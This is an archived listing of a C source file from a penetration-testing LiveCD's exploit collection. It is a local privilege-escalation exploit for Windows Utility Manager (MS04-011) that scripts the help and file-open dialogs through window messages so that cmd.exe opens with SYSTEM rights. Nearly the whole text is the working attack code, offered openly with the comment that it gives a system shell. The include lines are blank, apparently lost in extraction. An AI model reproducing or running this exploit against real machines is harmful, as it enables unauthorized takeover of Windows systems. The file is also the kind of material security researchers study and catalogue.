home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / utility-MS04-011.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. // By Cesar Cerrudo cesar appsecinc com
  2. // Local elevation of priviliges exploit for Windows Utility Manager
  3. // Gives you a shell with system privileges
  4. // If you have problems try changing Sleep() values.
  5.  
  6. #include
  7. #include
  8. #include
  9. #include
  10.  
  11. int main(int argc, char *argv[])
  12. {
  13. HWND lHandle, lHandle2;
  14. POINT point;
  15.  
  16. char sText[]="%windir%\\system32\\cmd.ex?";
  17.  
  18. // run utility manager
  19. system("utilman.exe /start");
  20. Sleep(500);
  21.  
  22. // execute contextual help
  23. SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  24. Sleep(500);
  25.  
  26. // open file open dialog windown in Windows Help
  27. PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  28. Sleep(500);
  29.  
  30. // find open file dialog window
  31. lHandle = FindWindow("#32770","Open");
  32.  
  33. // get input box handle
  34. lHandle2 = GetDlgItem(lHandle, 0x47C);
  35. Sleep(500);
  36.  
  37. // set text to filter listview to display only cmd.exe
  38. SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  39. Sleep(800);
  40.  
  41. // send return
  42. SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
  43.  
  44. //get navigation bar handle
  45. lHandle2 = GetDlgItem(lHandle, 0x4A0);
  46. //send tab
  47. SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  48. Sleep(500);
  49. lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  50. //get list view handle
  51. lHandle2 = GetDlgItem(lHandle2, 0x1);
  52.  
  53. SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  54. SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  55. SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  56. Sleep(500);
  57.  
  58. // popup context menu
  59. PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  60. Sleep(1000);
  61.  
  62. // get context menu handle
  63. point.x =10; point.y =30;
  64. lHandle2=WindowFromPoint(point);
  65.  
  66. SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  67. SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  68. SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
  69.  
  70. SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
  71.  
  72. return(0);
  73. }
  74.